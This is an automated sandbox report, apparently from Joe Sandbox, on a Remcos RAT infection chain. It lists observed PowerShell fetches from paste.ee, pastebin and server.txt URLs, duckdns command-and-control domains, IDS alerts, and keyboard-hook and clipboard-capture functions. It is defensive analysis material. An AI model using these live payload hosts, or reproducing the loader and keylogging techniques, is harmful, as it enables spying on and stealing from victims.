                      Source: Joe Sandbox ViewASN Name: RCS-RDS73-75DrStaicoviciRO RCS-RDS73-75DrStaicoviciRO
                      Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                      Source: Joe Sandbox ViewASN Name: M247GB M247GB
                      Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                      Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49763 -> 188.114.96.3:443
                      Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49790 -> 188.114.96.3:443
                      Source: unknownFTP traffic detected: 191.252.83.213:21 -> 192.168.2.6:49712 220 "Servico de FTP da Locaweb"
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0041B411 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,22_2_0041B411
                      Source: global trafficHTTP traffic detected: GET /d/9xfVr/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /d/P0BOw/0 HTTP/1.1Host: paste.ee
                      Source: global trafficHTTP traffic detected: GET /images/server.txt HTTP/1.1Host: simonastolerciuc.roConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /d/FwIIK/0 HTTP/1.1Host: paste.ee
                      Source: global trafficHTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: global trafficHTTP traffic detected: GET /raw/pQQ0n3eA HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                      Source: global trafficDNS traffic detected: DNS query: ftp.desckvbrat.com.br
                      Source: global trafficDNS traffic detected: DNS query: paste.ee
                      Source: global trafficDNS traffic detected: DNS query: simonastolerciuc.ro
                      Source: global trafficDNS traffic detected: DNS query: pastebin.com
                      Source: global trafficDNS traffic detected: DNS query: janbours92harbu03.duckdns.org
                      Source: global trafficDNS traffic detected: DNS query: janbours92harbu04.duckdns.org
                      Source: global trafficDNS traffic detected: DNS query: janbours92harbu007.duckdns.org
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://desckvbrat.com.br
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ftp.desckvbrat.com.br
                      Source: AddInProcess32.exeString found in binary or memory: http://geoplugin.net/json.gp
                      Source: powershell.exe, 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                      Source: powershell.exe, 00000004.00000002.3035288424.000001D741923000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7333B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2703900892.000001D213CC4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2567041644.000002AE10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A7057A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713E41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://paste.ee
                      Source: powershell.exe, 00000008.00000002.2259166812.000001A70562D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                      Source: powershell.exe, 00000005.00000002.2274904519.000001D203E72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
                      Source: powershell.exe, 00000002.00000002.3142748199.000002940A3ED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7318B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2274904519.000001D203C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A703DC1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                      Source: powershell.exe, 00000005.00000002.2274904519.000001D203E72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00222000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731E6B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://simonastolerciuc.ro
                      Source: powershell.exe, 00000008.00000002.2259166812.000001A705293000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
                      Source: powershell.exe, 00000008.00000002.2259166812.000001A70562D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                      Source: powershell.exe, 00000006.00000002.2806064985.000002AE79900000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.co
                      Source: powershell.exe, 00000002.00000002.3142748199.000002940A3A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6
                      Source: powershell.exe, 00000002.00000002.3142748199.000002940A3C0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7318B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2274904519.000001D203C51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2268735686.000002AE00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A703DC1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://analytics.paste.ee
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://analytics.paste.ee;
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cdnjs.cloudflare.com;
                      Source: powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                      Source: powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                      Source: powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731EDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7318B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731AD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2345301135.000001D72FD44000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2339405962.000001D72FBE4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.3113735433.000001D749C10000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://fonts.googleapis.com
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://fonts.gstatic.com;
                      Source: powershell.exe, 00000008.00000002.2259166812.000001A70562D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                      Source: powershell.exe, 00000006.00000002.2789799288.000002AE7987F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ion=v4.535
                      Source: powershell.exe, 00000005.00000002.2869431264.000001D21C2E0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ion=v4.5:
                      Source: powershell.exe, 00000004.00000002.3035288424.000001D741923000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D7333B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2703900892.000001D213CC4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2567041644.000002AE10074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2259166812.000001A7057A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713E41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2326895569.000001A713F77000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                      Source: powershell.exe, 00000008.00000002.2259166812.000001A705293000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
                      Source: powershell.exe, 00000008.00000002.2259166812.000001A705293000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731AD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D732FDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D7328F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731AD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D732FDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/9xfVr/0
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D732FDC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/9xfVr/0P
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731EC6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731EA3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/FwIIK/0
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D733335000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/P0BOw/0
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D733335000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paste.ee/d/P0BOw/0P
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://secure.gravatar.com
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731E67000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://simonastolerciuc.ro
                      Source: powershell.exe, 00000002.00000002.3142748199.000002940B0A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E67000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://simonastolerciuc.ro/images/server.txt
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731E67000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://simonastolerciuc.ro/images/sh
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://themes.googleusercontent.com
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CB7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com;
                      Source: powershell.exe, 00000004.00000002.2365621636.000001D731CA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733036000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73338C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D733008000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731ECB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731E46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52528
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52616
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49771
                      Source: unknownNetwork traffic detected: HTTP traffic on port 52562 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52562
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 52616 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 52528 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
                      Source: unknownNetwork traffic detected: HTTP traffic on port 49771 -> 443
                      Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49725 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 85.120.16.93:443 -> 192.168.2.6:49771 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:52528 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:52562 version: TLS 1.2
                      Source: unknownHTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:52616 version: TLS 1.2

                      Key, Mouse, Clipboard, Microphone and Screen Capturing

                      barindex
                      Contains functionality to register a low level keyboard hook
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040A2F3 SetWindowsHookExA 0000000D,0040A2DF,0000000022_2_0040A2F3
                      Installs a global keyboard hook
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,22_2_0040B749
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_004168FC OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,22_2_004168FC
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040B749 OpenClipboard,GetClipboardData,CloseClipboard,22_2_0040B749
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeCode function: 22_2_0040A41B GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,22_2_0040A41B
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR

                      E-Banking Fraud

                      barindex
                      Yara detected Remcos RAT
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 22.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 13.2.powershell.exe.20b6fc69a78.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 25.2.powershell.exe.1425f089f00.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 20.2.powershell.exe.2a61f81adc8.1.raw.unpack, type: UNPACKEDPE
                      Source: Yara matchFile source: 0000001C.00000002.2498769602.0000000000CC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3436354467.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6F6D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2408800812.0000000000FC8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000011.00000002.3438933111.00000000028BF000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000014.00000002.2640881917.000002A61F4F2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 0000000D.00000002.2573017500.0000020B6FAC2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: 00000019.00000002.2865279267.000001425ED61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                      Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7572, type: MEMORYSTR
                      Source: Yara matchFile source: Process Memory Space: AddInProcess32.exe PID: 7796, type: MEMORYSTR
